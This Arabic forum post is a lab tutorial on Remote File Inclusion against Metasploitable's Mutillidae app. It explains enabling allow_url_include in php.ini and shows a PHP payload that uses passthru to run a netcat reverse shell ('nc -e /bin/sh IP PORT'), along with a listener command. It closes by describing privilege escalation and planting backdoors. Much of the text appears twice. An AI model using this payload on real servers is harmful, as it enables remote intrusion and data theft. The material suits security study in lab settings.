x32x01
أدارة أكتب كود
- بواسطة x32x01 ||
هجمة RFI(Remote File Inclusion) والتي تعد النوع الثاني من هجمات الـFile inclusion، وكما وضحنا في شرح هجمة LFI طريقة عمل ومسببات هذه الثغرة، نبدأ الآن شرح هجمة الـRF
ما الفرق بين الثغرتين؟
الفرق بين الهجمتين واضح بمجرد فهم الإسم، فـLFI تعني Local File Inclusion بمعنى أنها محلية وينفذ فيها كل شي عن طريق السيرفر نفسه وداخله، بعكس RFI والتي تشير إلى Remote File Inclusion نلاحظ كلمة Remote وتدل الكلمة على أن ماسيتم فعله هو شيء خارج السيرفر.
تنفيذ هجمة RFI
لتنفيذ الهجمة عليك تجهيز التالي:
-web server والموجود في أنظمة اللينكس كما تعودنا استخدامه.
-سيرفر مستهدف، سنستخدم metasploitable في الشرح.
-ملف txt يحتوي على كود PHP أو javascript خبيث ينفذ ماتريد تنفيذه.
-إعداد السيرفر لكي تصبح فيه الثغرة.(سنشرحها في الخطوات الآن)
*لتهيئة وإعداد السيرفر لكي يصبح معرضاً للهجمة قم بالدخول إلى السيرفر من نفس الـVirtual Machine، ثم اذهب إلى المسار التالي: etc/php5/cgi
ثم أدخل الأمر التالي للتتعديل على الملف:
ثم اضغط ctrl+w للبحث عن كلمة allow_url وسينقلنا إلى هذه السطور:
نقوم بتغيير الإعداد allow_url_include = Off
إلى On
وهنا تكمن المشكلة في ترك هذه الإعداد على On عند أغلب المبرمجين بدون أي حمايات فيصبح السيرفر معرضاً للهجمة.
ثم نضغط ctrl+x للخروج، سيسأل عن ما إذا كنت ترغب بحفظ التغييرات أو لا، نجيب بـY ثم enter مرة أخرى ونخرج من الملف.
بعد ذلك نعيد تشغيل سيرفر الأباتشي عن طريق الأمر:
وننتظر إلى أن ينتهى من إعادة التشغيل.
نبدأ الهجمة:
أولاً نقوم بالدخول إلى أحد تطبيقات الـmetasploitable المتاحة، سأستخدم mutilidae أثناء الشرح.
ثم ندخل إلى الصفحة المعرضة لهجمات الـFile Include.
سيكون الرابط كالتالي:
وبعكس ما شرحنا في موضوع ثغرة الـLFI، سنقوم هنا بمناداة الملف الخبيث من سيرفر آخر، ويتم ذلك بالطريقة التالية:
يكون الملف جاهزاً في السيرفر الآخر بشرط أن يكون كود خبيث ويحفظ بصيغة .txt وليس .php أو غيره لكي لا يتم تنفيذه في السيرفر المهاجم ويمكنك تجربة ذلك أثناء تطبيقك للهجمة.
نقوم بتغيير اسم الملف من
إلى
في حالتي سيبدو الرابط المحقون كالتالي:
لكن قبل أن نقوم بأي شيء سنقوم باستعراض الكود الذي سنحقنه لنفهم ما سيحدث بالتحديد
هذا هو الكود المستخدم:
استخدمنا الخاصية passthru وهي خاصية متوفرة في لغة php وتقوم بتنفيذ أوامر النظام اعتماداً على نوعه سواءً كان ويندوز أو لينكس أو غيره، ثم وضعنا داخلها الأمر
والذي سيقوم بإرسال اتصال إلى الـIP المحدد عن طريق البورت المحدد في الأمر.
قبل أن نقوم بضغط enter في المتصفح وننفذ الهجمة يجب أن نقوم بفتح listener لنستطيع استقبال الإتصال الذي سيفتح عن طريق السيرفر المستهدف تنفيذاً للكود الخبيث الذي هاجمنا به.
-سنفتح تيرمنال جديد وندخل الأمر:
باستخدام رقم البورت المستخدم في الكود الخبيث الذي نفذنا به الهجمة.
نعود للمتصفح الآن وننفذ الهجمة وننتظر وصول الإتصال، عند وصوله نقوم بالتجول في السيرفر وفعل كل مانريد فعله من ترقية للصلاحيات واستعراض معلومات حساسة ورفع backdoors وكل ما نريد فعله سيكون متاحاً أمامنا.
ما الفرق بين الثغرتين؟
الفرق بين الهجمتين واضح بمجرد فهم الإسم، فـLFI تعني Local File Inclusion بمعنى أنها محلية وينفذ فيها كل شي عن طريق السيرفر نفسه وداخله، بعكس RFI والتي تشير إلى Remote File Inclusion نلاحظ كلمة Remote وتدل الكلمة على أن ماسيتم فعله هو شيء خارج السيرفر.
تنفيذ هجمة RFI
لتنفيذ الهجمة عليك تجهيز التالي:
-web server والموجود في أنظمة اللينكس كما تعودنا استخدامه.
-سيرفر مستهدف، سنستخدم metasploitable في الشرح.
-ملف txt يحتوي على كود PHP أو javascript خبيث ينفذ ماتريد تنفيذه.
-إعداد السيرفر لكي تصبح فيه الثغرة.(سنشرحها في الخطوات الآن)
*لتهيئة وإعداد السيرفر لكي يصبح معرضاً للهجمة قم بالدخول إلى السيرفر من نفس الـVirtual Machine، ثم اذهب إلى المسار التالي: etc/php5/cgi
ثم أدخل الأمر التالي للتتعديل على الملف:
Code:
nano php.ini
إلى On
وهنا تكمن المشكلة في ترك هذه الإعداد على On عند أغلب المبرمجين بدون أي حمايات فيصبح السيرفر معرضاً للهجمة.
ثم نضغط ctrl+x للخروج، سيسأل عن ما إذا كنت ترغب بحفظ التغييرات أو لا، نجيب بـY ثم enter مرة أخرى ونخرج من الملف.
بعد ذلك نعيد تشغيل سيرفر الأباتشي عن طريق الأمر:
Code:
sudo etc/init.d/apache2 restart
نبدأ الهجمة:
أولاً نقوم بالدخول إلى أحد تطبيقات الـmetasploitable المتاحة، سأستخدم mutilidae أثناء الشرح.
ثم ندخل إلى الصفحة المعرضة لهجمات الـFile Include.
سيكون الرابط كالتالي:
Code:
http://192.168.1.126/mutillidae/index.php?page=text-file-viewer.php
يكون الملف جاهزاً في السيرفر الآخر بشرط أن يكون كود خبيث ويحفظ بصيغة .txt وليس .php أو غيره لكي لا يتم تنفيذه في السيرفر المهاجم ويمكنك تجربة ذلك أثناء تطبيقك للهجمة.
نقوم بتغيير اسم الملف من
Code:
text-file-viewer.php
Code:
http://ip:PORT/filename
Code:
http://192.168.1.113:8000/Desktop/shell.txt
Code:
<?
passthru("nc -e /bin/sh IP PORT")
?>
Code:
nc -e /bin/sh IP PORT
قبل أن نقوم بضغط enter في المتصفح وننفذ الهجمة يجب أن نقوم بفتح listener لنستطيع استقبال الإتصال الذي سيفتح عن طريق السيرفر المستهدف تنفيذاً للكود الخبيث الذي هاجمنا به.
-سنفتح تيرمنال جديد وندخل الأمر:
Code:
nc -lvp PORT
نعود للمتصفح الآن وننفذ الهجمة وننتظر وصول الإتصال، عند وصوله نقوم بالتجول في السيرفر وفعل كل مانريد فعله من ترقية للصلاحيات واستعراض معلومات حساسة ورفع backdoors وكل ما نريد فعله سيكون متاحاً أمامنا.